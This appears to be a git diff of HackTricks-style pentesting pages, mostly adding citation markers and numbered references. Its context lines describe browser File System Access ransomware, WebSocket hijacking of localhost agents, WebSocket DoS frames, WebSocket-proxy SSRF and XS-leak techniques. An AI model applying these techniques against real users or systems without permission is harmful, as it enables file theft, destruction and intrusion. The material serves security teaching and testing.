+Chromium-family browsers expose **`showOpenFilePicker()`**, **`showSaveFilePicker()`**, and **`showDirectoryPicker()`** to trusted pages in a **secure context** and after a **user gesture**.<sup>[[6]](#references)[[7]](#references)</sup> If a target web app, phishing lure, or malicious dependency can convince the user to approve a directory with **readwrite** access, the page can operate on the selected files **without dropping a native payload**.<sup>[[5]](#references)</sup> Practical abuse patterns: - Enumerate the selected directory with **`for await (const [name, handle] of dirHandle.entries())`** or `values()`, recurse into subdirectories, and filter by extension/MIME. - Read file contents with **`handle.getFile()`** and `text()`, `arrayBuffer()`, or `stream()`, then exfiltrate through `fetch`, XHR, or `sendBeacon`. -- Overwrite files with **`createWritable()`** after a `queryPermission()` / `requestPermission({mode: 'readwrite'})` flow. This is the primitive that enables **browser-native ransomware** or destructive tampering. +- Overwrite files with **`createWritable()`** after a `queryPermission()` / `requestPermission({mode: 'readwrite'})` flow. This is the primitive that enables **browser-native ransomware** or destructive tampering.<sup>[[5]](#references)[[9]](#references)</sup> - Check **IndexedDB** for serialized `FileSystemFileHandle` / `FileSystemDirectoryHandle` objects because legitimate apps often persist handles and later reuse them after `queryPermission()` / `requestPermission()` checks. -- Review the UX around picker prompts: fake **AI upscalers**, editors, and media tools can plausibly ask for an input file first and an **output folder** second, making the write warning look legitimate. +- Review the UX around picker prompts: fake **AI upscalers**, editors, and media tools can plausibly ask for an input file first and an **output folder** second, making the write warning look legitimate.<sup>[[5]](#references)</sup> Important boundaries: -- This is **not arbitrary disk access**. Chromium blocks or constrains many sensitive locations, but user-chosen media folders can still be high-value targets. In recent public research, **Pictures**, **Videos**, and Android **`DCIM`** roots were practical lure targets. +- This is **not arbitrary disk access**. Chromium blocks or constrains many sensitive locations, but user-chosen media folders can still be high-value targets. In recent public research, **Pictures**, **Videos**, and Android **`DCIM`** roots were practical lure targets.<sup>[[5]](#references)</sup> - A normal web page still cannot become native malware: global keylogging, arbitrary desktop screenshots, and OS persistence remain outside the browser sandbox unless another vulnerability is present. The real primitive is **user-approved local file read/write**. -- Browser support is concentrated in **Chromium**. Chrome shipped the API on desktop in **Chrome 86** and extended it to **Android/WebView in Chrome 132**; Firefox and Safari do not expose the same picker methods. +- Browser support is concentrated in **Chromium**. Chrome shipped the API on desktop in **Chrome 86** and extended it to **Android/WebView in Chrome 132**; Firefox and Safari do not expose the same picker methods.<sup>[[8]](#references)</sup> ### **Search functionalities** @@ -110,7 +110,7 @@ When a websocket posts a message or a form allowing users to perform actions vul #### Cross-site WebSocket hijacking & localhost abuse -WebSocket upgrades automatically forward cookies and do not block `ws://127.0.0.1`, so **any web origin can drive desktop IPC endpoints** that skip `Origin` validation. When you spot a launcher exposing a JSON-RPC-like API through a local agent: +WebSocket upgrades automatically forward cookies and do not block `ws://127.0.0.1`, so **any web origin can drive desktop IPC endpoints** that skip `Origin` validation. When you spot a launcher exposing a JSON-RPC-like API through a local agent:<sup>[[1]](#references)</sup> - Observe emitted frames to clone the `type`/`name`/`args` tuples required by each method. - Bruteforce the listening port directly from the browser (Chromium will handle ~16k failed upgrades) until a loopback socket answers with the protocol banner—Firefox tends to crash quickly under the same load. @@ -120,7 +120,7 @@ If you can pass arbitrary JVM flags (such as `AdditionalJavaArguments`), force a ### Installers / setup wizards / recovery leftovers -First-run installers and recovery endpoints are often forgotten in production. If a live application still exposes paths such as `/install/`, `/setup/`, `/init/`, `/admin/install`, `/setup/setupadministrator.action`, or readable config files such as `/config/database.php`, treat them as **high-value takeover primitives** instead of low-value information leaks. +First-run installers and recovery endpoints are often forgotten in production. If a live application still exposes paths such as `/install/`, `/setup/`, `/init/`, `/admin/install`, `/setup/setupadministrator.action`, or readable config files such as `/config/database.php`, treat them as **high-value takeover primitives** instead of low-value information leaks.<sup>[[2]](#references)</sup> Checks to perform: @@ -192,7 +192,7 @@ Users that open files uploaded by users or automatically generated including use #### Passkeys / WebAuthn handoffs -Passkeys are **origin-bound**, so the usual bug is not "steal the secret" but **abuse the workflow around the ceremony**: +Passkeys are **origin-bound**, so the usual bug is not "steal the secret" but **abuse the workflow around the ceremony**:<sup>[[4]](#references)</sup> - Try **registration/login confusion**: start a WebAuthn ceremony in one account or browser, then complete it from another session and check whether the signed challenge is still bound to the correct user, RP, and browser state. - Treat **QR, device-code, wallet, and cross-device approvals** exactly like password-reset tokens: check replay, stale approvals, session swapping, and whether a completed ceremony authenticates a browser different from the one that initiated it. @@ -292,15 +292,14 @@ Modern applications extend into browsers, wallets, and automation pipelines—ke ## References -- [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/) -- [I Accidentally Logged as Admin Into a Threat Actor Website](https://potato.id/en/posts/i-accidentally-logged-into-threat-actor-website) -- [Hijacking service workers via DOM Clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering) -- [Security advisory: Passkey Dialog Clickjacking Issue](https://support.dashlane.com/hc/en-us/articles/28598967624722-Security-advisory-Passkey-Dialog-Clickjacking-Issue) -- [Browser-Only Ransomware: From LLM Hallucinations to a Practical Attack Technique](https://research.checkpoint.com/2026/browser-only-ransomware-from-llm-hallucinations-to-a-practical-attack-technique/) -- [File System Access specification](https://wicg.github.io/file-system-access/) -- [The File System Access API: simplifying access to local files](https://developer.chrome.com/docs/capabilities/web-apis/file-system-access) -- [Chrome 132 release notes](https://developer.chrome.com/release-notes/132) -- [RøB: Ransomware over Modern Web Browsers](https://www.usenix.org/conference/usenixsecurity23/presentation/oz) +- [1] [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/) +- [2] [I Accidentally Logged as Admin Into a Threat Actor Website](https://potato.id/en/posts/i-accidentally-logged-into-threat-actor-website) +- [3] [Hijacking service workers via DOM Clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering) +- [4] [Security advisory: Passkey Dialog Clickjacking Issue](https://support.dashlane.com/hc/en-us/articles/28598967624722-Security-advisory-Passkey-Dialog-Clickjacking-Issue) +- [5] [Browser-Only Ransomware: From LLM Hallucinations to a Practical Attack Technique](https://research.checkpoint.com/2026/browser-only-ransomware-from-llm-hallucinations-to-a-practical-attack-technique/) +- [6] [File System Access specification](https://wicg.github.io/file-system-access/) +- [7] [The File System Access API: simplifying access to local files](https://developer.chrome.com/docs/capabilities/web-apis/file-system-access) +- [8] [Chrome 132 release notes](https://developer.chrome.com/release-notes/132) +- [9] [RøB: Ransomware over Modern Web Browsers](https://www.usenix.org/conference/usenixsecurity23/presentation/oz) {{#include ../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md index 0d4637c5721..2448b93f24b 100644 --- a/src/pentesting-web/websocket-attacks.md +++ b/src/pentesting-web/websocket-attacks.md @@ -79,7 +79,7 @@ You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://g ### Websocket Debug tools -- **Burp Suite** supports MitM websockets communication in a very similar way it does it for regular HTTP communication. +- **Burp Suite** supports MitM websockets communication in a very similar way it does it for regular HTTP communication.<sup>[[1]](#references)</sup> - The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** will allow you to manage better Websocket communications in Burp by getting the **history**, setting **interception rules**, using **match and replace** rules, using **Intruder** and **AutoRepeater.** - [**WSSiP**](https://github.com/nccgroup/wssip)**:** Short for "**WebSocket/Socket.io Proxy**", this tool, written in Node.js, provides a user interface to **capture, intercept, send custom** messages and view all WebSocket and Socket.IO communications between the client and server. - [**wsrepl**](https://github.com/doyensec/wsrepl) is an **interactive websocket REPL** designed specifically for penetration testing. It provides an interface for observing **incoming websocket messages and sending new ones**, with an easy-to-use framework for **automating** this communication. @@ -92,8 +92,8 @@ A WebSocket is just a **bidirectional transport** — it doesn't say anything ab Common protocols carried over WebSockets: -- **MQTT over WebSocket**: browser chat/IoT clients (e.g. `mqtt.js`, Paho) connect to a broker over `ws://`/`wss://`, frequently on paths like `/mqtt` or `/ws`. RabbitMQ's Web MQTT plugin commonly listens on `15675/ws`. Once you can speak MQTT, you can often **subscribe to wildcard topics (`#`, `+`)** and read other users' live messages, or publish into topics — a classic broken-authorization finding. -- **STOMP over WebSocket**: very common with SockJS/Spring backends (e.g. `/stomp`, `/ws`). RabbitMQ Web-STOMP usually listens on `15674/ws`. +- **MQTT over WebSocket**: browser chat/IoT clients (e.g. `mqtt.js`, Paho) connect to a broker over `ws://`/`wss://`, frequently on paths like `/mqtt` or `/ws`. RabbitMQ's Web MQTT plugin commonly listens on `15675/ws`.<sup>[[15]](#references)</sup> Once you can speak MQTT, you can often **subscribe to wildcard topics (`#`, `+`)** and read other users' live messages, or publish into topics — a classic broken-authorization finding.<sup>[[14]](#references)</sup> +- **STOMP over WebSocket**: very common with SockJS/Spring backends (e.g. `/stomp`, `/ws`). RabbitMQ Web-STOMP usually listens on `15674/ws`.<sup>[[16]](#references)</sup> - **AMQP over WebSocket** and **Socket.IO** (see the Socket.IO handling section above). ### How to identify the tunneled protocol @@ -130,7 +130,7 @@ The burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigge ### WebSocket Turbo Intruder (Burp extension) -PortSwigger's WebSocket Turbo Intruder brings Turbo Intruder–style Python scripting and high‑rate fuzzing to WebSockets. Install it from the BApp Store or from source. It includes two components: +PortSwigger's WebSocket Turbo Intruder brings Turbo Intruder–style Python scripting and high‑rate fuzzing to WebSockets.<sup>[[4]](#references)[[7]](#references)</sup> Install it from the BApp Store or from source.<sup>[[5]](#references)[[6]](#references)</sup> It includes two components: - Turbo Intruder: high‑volume messaging to a single WS endpoint using custom engines. - HTTP Middleware: exposes a local HTTP endpoint that forwards bodies as WS messages over a persistent connection, so any HTTP‑based scanner can probe WS backends. @@ -155,7 +155,7 @@ Use decorators like `@MatchRegex(...)` to reduce noise when a single message tri ### Bridge WS behind HTTP (HTTP Middleware) -Wrap a persistent WS connection and forward HTTP bodies as WS messages for automated testing with HTTP scanners: +Wrap a persistent WS connection and forward HTTP bodies as WS messages for automated testing with HTTP scanners:<sup>[[4]](#references)</sup> ```python def create_connection(upgrade_request): @@ -181,7 +181,7 @@ This lets you drive WS backends while filtering for “interesting” events (e. ### Socket.IO handling (handshake, heartbeats, events) -Socket.IO adds its own framing on top of WS. Detect it via the mandatory query parameter `EIO` (e.g., `EIO=4`). Keep the session alive with Ping (`2`) and Pong (`3`) and start the conversation with `"40"`, then emit events like `42["message","hello"]`. +Socket.IO adds its own framing on top of WS. Detect it via the mandatory query parameter `EIO` (e.g., `EIO=4`). Keep the session alive with Ping (`2`) and Pong (`3`) and start the conversation with `"40"`, then emit events like `42["message","hello"]`.<sup>[[4]](#references)</sup> Intruder example: @@ -232,30 +232,30 @@ Following PortSwigger’s safe detection technique, try polluting Express intern {"__proto__":{"initialPacket":"Polluted"}} ``` -If greetings or behavior change (e.g., echo includes "Polluted"), you likely polluted server-side prototypes. Impact depends on reachable sinks; correlate with the gadgets in the Node.js prototype pollution section. See: +If greetings or behavior change (e.g., echo includes "Polluted"), you likely polluted server-side prototypes. Impact depends on reachable sinks; correlate with the gadgets in the Node.js prototype pollution section.<sup>[[4]](#references)[[8]](#references)</sup> See: - Check [NodeJS – __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas. ### WebSocket race conditions with Turbo Intruder -The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (double‑spend, token reuse, state desync). Start from the example script and tune concurrency in `config()`. +The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (double‑spend, token reuse, state desync). Start from the example script and tune concurrency in `config()`.<sup>[[4]](#references)[[9]](#references)[[10]](#references)</sup> - Learn methodology and alternatives in [Race Condition](race-condition.md) (see “RC in WebSockets”). ### WebSocket DoS: malformed frame “Ping of Death” -Craft WS frames whose header declares a huge payload length but send no body. Some WS servers trust the length and pre‑allocate buffers; setting it near `Integer.MAX_VALUE` can cause Out‑Of‑Memory and a remote unauth DoS. See the example script. +Craft WS frames whose header declares a huge payload length but send no body. Some WS servers trust the length and pre‑allocate buffers; setting it near `Integer.MAX_VALUE` can cause Out‑Of‑Memory and a remote unauth DoS. See the example script.<sup>[[4]](#references)[[11]](#references)</sup> ### CLI and debugging -- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>` +- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`<sup>[[4]](#references)</sup> - Enable the WS Logger to capture and correlate messages using internal IDs. - Use `inc*`/`dec*` helpers on `Connection` to tweak message ID handling in complex adapters. - Decorators like `@PingPong`/`@Pong` and helpers like `isInteresting()` reduce noise and keep sessions alive. ### Operational safety -High‑rate WS fuzzing can open many connections and send thousands of messages per second. Malformed frames and high rates may cause real DoS. Use only where permitted. +High‑rate WS fuzzing can open many connections and send thousands of messages per second. Malformed frames and high rates may cause real DoS. Use only where permitted.<sup>[[4]](#references)</sup> ## Cross-site WebSocket hijacking (CSWSH) @@ -271,11 +271,11 @@ In order for this attack to work, these are the requirements: Also: -- If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)) +- If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))<sup>[[2]](#references)</sup> ### Origin check disabled in Gorilla WebSocket (CheckOrigin always true) -In Gorilla WebSocket servers, setting `CheckOrigin` to always **return `true`** accepts handshakes from any `Origin`. When the WS endpoint also **lacks authentication**, any page reachable by the victim’s browser (Internet or intranet) can upgrade a socket and start reading/emitting messages cross-site. +In Gorilla WebSocket servers, setting `CheckOrigin` to always **return `true`** accepts handshakes from any `Origin`. When the WS endpoint also **lacks authentication**, any page reachable by the victim’s browser (Internet or intranet) can upgrade a socket and start reading/emitting messages cross-site.<sup>[[13]](#references)</sup> ```html <script> @@ -309,7 +309,7 @@ function handleReply(event) { ### Cross Origin + Cookie with a different subdomain -In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) the attacker managed to **execute arbitrary Javascript in a subdomain** of the domain where the web socket communication was occurring. Because it was a **subdomain**, the **cookie** was being **sent**, and because the **Websocket didn't check the Origin properly**, it was possible to communicate with it and **steal tokens from it**. +In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) the attacker managed to **execute arbitrary Javascript in a subdomain** of the domain where the web socket communication was occurring. Because it was a **subdomain**, the **cookie** was being **sent**, and because the **Websocket didn't check the Origin properly**, it was possible to communicate with it and **steal tokens from it**.<sup>[[3]](#references)</sup> ### Stealing data from user @@ -356,7 +356,7 @@ Nowadays, it's very easy to prevent this issue: ### Localhost WebSocket abuse & browser port discovery -Desktop launchers frequently spin up helpers (e.g., CurseForge's `CurseAgent.exe`) that expose JSON-RPC WebSockets on `127.0.0.1:<random_port>`. The browser **does not enforce SOP on loopback sockets**, so any Web page can attempt the handshake. If the agent accepts arbitrary `Origin` values and skips secondary authentication, the IPC surface becomes remotely controllable directly from JavaScript. +Desktop launchers frequently spin up helpers (e.g., CurseForge's `CurseAgent.exe`) that expose JSON-RPC WebSockets on `127.0.0.1:<random_port>`. The browser **does not enforce SOP on loopback sockets**, so any Web page can attempt the handshake. If the agent accepts arbitrary `Origin` values and skips secondary authentication, the IPC surface becomes remotely controllable directly from JavaScript.<sup>[[12]](#references)</sup> #### Enumerating exposed methods @@ -411,7 +411,7 @@ This “create resource → privileged launch” pattern appears often in update ### Internet-facing WebSocket proxies as localhost TCP tunnels -Some appliances and web apps expose endpoints such as `/wsproxy?host=<dst>&port=<dst>` that **upgrade to WebSocket and then blindly relay arbitrary TCP bytes** to the user-chosen destination. Once the server returns **`101 Switching Protocols`**, treat the socket as an SSRF primitive with **full read/write interaction**, closer to a `gopher://` or `nc` tunnel than to a one-shot HTTP fetch. +Some appliances and web apps expose endpoints such as `/wsproxy?host=<dst>&port=<dst>` that **upgrade to WebSocket and then blindly relay arbitrary TCP bytes** to the user-chosen destination. Once the server returns **`101 Switching Protocols`**, treat the socket as an SSRF primitive with **full read/write interaction**, closer to a `gopher://` or `nc` tunnel than to a one-shot HTTP fetch.<sup>[[17]](#references)[[18]](#references)[[19]](#references)</sup> When testing these endpoints, do not stop at `127.0.0.1`. Try multiple loopback representations because filters often block only some of them: @@ -472,23 +472,24 @@ h2c-smuggling.md ## References -- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages) -- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/) -- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine) -- [WebSocket Turbo Intruder – BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066) -- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder) -- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack) -- [Server-side prototype pollution – safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers) -- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC) -- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py) -- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py) -- [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/) -- [Two CVEs, Zero Ego: A Mailpit Story](https://rosecurify.com/two-cves-zero-ego-a-mailpit-story/) -- [How I Hacked a Live Chatbot and Earned My First $$$$ (4-Digit) Bounty](https://medium.com/@lazysharaf/how-i-hacked-a-live-chatbot-and-earned-my-first-4-digit-bounty-5c43c8891741) -- [RabbitMQ Web MQTT Plugin](https://www.rabbitmq.com/docs/next/web-mqtt) -- [RabbitMQ Web STOMP Plugin](https://www.rabbitmq.com/docs/web-stomp) -- [Rapid7 MDR Team Discovers New SonicWall SMA1000 Zero Days being Actively Exploited (CVE-2026-15409, CVE-2026-15410)](https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/) -- [SonicWall Security Advisory SNWLID-2026-0008](https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008) -- [rapid7-CVE-2026-15409 PoC](https://github.com/remmons-r7/rapid7-CVE-2026-15409) +- [1] [Intercepting and modifying WebSocket messages – PortSwigger Web Security Academy](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages) +- [2] [Cross-Site WebSocket Hijacking: Exploitation in 2025 – IncludeSecurity Blog](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/) +- [3] [Gitpod Remote Code Execution Vulnerability via WebSockets – Snyk](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) +- [4] [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine) +- [5] [WebSocket Turbo Intruder – BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066) +- [6] [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder) +- [7] [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack) +- [8] [Server-side prototype pollution – safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers) +- [9] [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC) +- [10] [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py) +- [11] [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py) +- [12] [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/) +- [13] [Two CVEs, Zero Ego: A Mailpit Story](https://rosecurify.com/two-cves-zero-ego-a-mailpit-story/) +- [14] [How I Hacked a Live Chatbot and Earned My First $$$$ (4-Digit) Bounty](https://medium.com/@lazysharaf/how-i-hacked-a-live-chatbot-and-earned-my-first-4-digit-bounty-5c43c8891741) +- [15] [RabbitMQ Web MQTT Plugin](https://www.rabbitmq.com/docs/next/web-mqtt) +- [16] [RabbitMQ Web STOMP Plugin](https://www.rabbitmq.com/docs/web-stomp) +- [17] [Rapid7 MDR Team Discovers New SonicWall SMA1000 Zero Days being Actively Exploited (CVE-2026-15409, CVE-2026-15410)](https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/) +- [18] [SonicWall Security Advisory SNWLID-2026-0008](https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008) +- [19] [rapid7-CVE-2026-15409 PoC](https://github.com/remmons-r7/rapid7-CVE-2026-15409) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md index b48e7c05039..78d16b0f042 100644 --- a/src/pentesting-web/xs-search.md +++ b/src/pentesting-web/xs-search.md @@ -4,7 +4,7 @@ ## Basic Information -XS-Search is a method used for **extracting cross-origin information** by leveraging **side channel vulnerabilities**. +XS-Search is a method used for **extracting cross-origin information** by leveraging **side channel vulnerabilities**.<sup>[[1]](#references)</sup> Key components involved in this attack include: @@ -44,12 +44,12 @@ Several aspects can be analyzed to differentiate the states of the Vulnerable We ## XSinator Tool & Paper -XSinator is an automatic tool to **check browsers against several know XS-Leaks** explained in its paper: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf) +XSinator is an automatic tool to **check browsers against several know XS-Leaks** explained in its paper: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)<sup>[[1]](#references)</sup> -You can **access the tool in** [**https://xsinator.com/**](https://xsinator.com/) +You can **access the tool in** [**https://xsinator.com/**](https://xsinator.com/)<sup>[[4]](#references)</sup> > [!WARNING] -> **Excluded XS-Leaks**: We had to exclude XS-Leaks that rely on **service workers** as they would interfere with other leaks in XSinator. Furthermore, we chose to **exclude XS-Leaks that rely on misconfiguration and bugs in a specific web application**. For example, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage or Cross-Site Scripting. Additionally, we excluded timebased XS-Leaks since they often suffer from being slow, noisy and inaccurate. +> **Excluded XS-Leaks**: We had to exclude XS-Leaks that rely on **service workers** as they would interfere with other leaks in XSinator. Furthermore, we chose to **exclude XS-Leaks that rely on misconfiguration and bugs in a specific web application**. For example, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage or Cross-Site Scripting. Additionally, we excluded timebased XS-Leaks since they often suffer from being slow, noisy and inaccurate.<sup>[[1]](#references)</sup> ## **Timing Based techniques** @@ -926,17 +926,14 @@ xs-search/css-injection/ ## Defenses -There are mitigations recommended in [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) also in each section of the wiki [https://xsleaks.dev/](https://xsleaks.dev/). Take a look there for more information about how to protect against these techniques. +There are mitigations recommended in [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) also in each section of the wiki [https://xsleaks.dev/](https://xsleaks.dev/). Take a look there for more information about how to protect against these techniques.<sup>[[1]](#references)[[2]](#references)</sup> ## References -- [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) -- [https://xsleaks.dev/](https://xsleaks.dev) -- [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks) -- [https://xsinator.com/](https://xsinator.com/) -- [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) +- [1] [XSinator.com: From a Formal Model to the Automatic Evaluation of Cross-Site Leaks in Web Browsers (paper)](https://xsinator.com/paper.pdf) +- [2] [xsleaks.dev – XS-Leaks Wiki](https://xsleaks.dev) +- [3] [xsleaks/xsleaks – GitHub repository](https://github.com/xsleaks/xsleaks) +- [4] [XSinator – browser XS-Leaks testing tool](https://xsinator.com/) +- [5] [nn9ed CTF 2019 – x-oracle challenge writeup (ka0labs)](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/pentesting-web/xs-search/connection-pool-example.md b/src/pentesting-web/xs-search/connection-pool-example.md index a86b8087206..0a3c5ab6ccf 100644 --- a/src/pentesting-web/xs-search/connection-pool-example.md +++ b/src/pentesting-web/xs-search/connection-pool-example.md @@ -4,7 +4,7 @@ ## Sekaictf2022 - safelist -In the [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) challenge, [**@Strellic\_**](https://twitter.com/Strellic_) gives an example of how to use a **variation** of the **Connection Pool** technique to perform a **XS-Leak**. +In the [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) challenge, [**@Strellic\_**](https://twitter.com/Strellic_) gives an example of how to use a **variation** of the **Connection Pool** technique to perform a **XS-Leak**.<sup>[[1]](#references)</sup> In this challenge, the goal is to exfiltrate a flag that will appear in the bots web session inside a post. These are the assets the attacker has: @@ -28,7 +28,7 @@ Therefore, to steal the flag, the solution proposed by @Strellyc\_ is to, **for ### Exploit 1 -This is the exploit code, taken from [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html): +This is the exploit code, taken from [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):<sup>[[2]](#references)</sup> ```html <!-- Form to inject HTML code in the bots page --> @@ -175,7 +175,7 @@ This is the exploit code, taken from [https://github.com/project-sekai-ctf/sekai ### Exploit 2 -Same tactic but different code from [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/) +Same tactic but different code from [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)<sup>[[3]](#references)</sup> ```html <!DOCTYPE html> @@ -313,7 +313,7 @@ Same tactic but different code from [https://blog.huli.tw/2022/10/05/en/sekaictf These examples are still useful, but some assumptions from 2022 are **less portable** in modern browsers: -- **Do not assume a globally shared socket pool anymore.** Firefox's **State Partitioning / Network Partitioning** also covers **connection pooling**, and Brave shipped **pool-party** mitigations after showing that many browser resource pools could be turned into side channels. +- **Do not assume a globally shared socket pool anymore.** Firefox's **State Partitioning / Network Partitioning** also covers **connection pooling**, and Brave shipped **pool-party** mitigations after showing that many browser resource pools could be turned into side channels.<sup>[[4]](#references)[[5]](#references)</sup> - When the **global** connection-pool oracle is noisy or simply dead, prefer scenarios where the attacker and victim requests still live in the **same partition** (for example attacker-controlled content rendered by the target site), or switch to the [Connection Pool by Destination Example](connection-pool-by-destination-example.md) where the primitive is the **per-destination queue** instead of the global pool. - **Calibrate every browser/profile/run.** The effective limits can change between **headless/headful** runs, and **HTTP/1.1, HTTP/2 and HTTP/3** may **reuse** existing connections. Moreover, **HTTP/2 connection coalescing** means that **different hostnames are not always different sockets** if they end up on the same backend/certificate. - In practice, make your probes more stable by using **`cache: "no-store"`**, random query strings, a short **warm-up round**, and keeping the **same `credentials` mode** across all measurements. If your socket blockers stop blocking, suspect **connection reuse/coalescing** before assuming the leak is gone. @@ -538,10 +538,12 @@ In the exploit you can see: ``` - - ## References -- [MDN - State Partitioning](https://developer.mozilla.org/en-US/docs/Web/Privacy/Guides/State_Partitioning) -- [Brave - Preventing pool-party attacks](https://brave.com/privacy-updates/13-pool-party-side-channels/) +- [1] [Sekaictf2022 - safelist challenge solution](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) +- [2] [SEKAI CTF 2022 safelist - solve.html exploit](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html) +- [3] [SEKAI CTF 2022 safelist XS-Leak writeup (Huli)](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/) +- [4] [MDN - State Partitioning](https://developer.mozilla.org/en-US/docs/Web/Privacy/Guides/State_Partitioning) +- [5] [Brave - Preventing pool-party attacks](https://brave.com/privacy-updates/13-pool-party-side-channels/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md b/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md index 0a1409bb1ae..9c6e7e33d52 100644 --- a/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md +++ b/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md @@ -16,12 +16,12 @@ When does this work - The server reacts differently on the two states and, with inflated headers/URL, one state crosses a limit and returns an error response that triggers onerror. Note on server errors used as the oracle -- 431 Request Header Fields Too 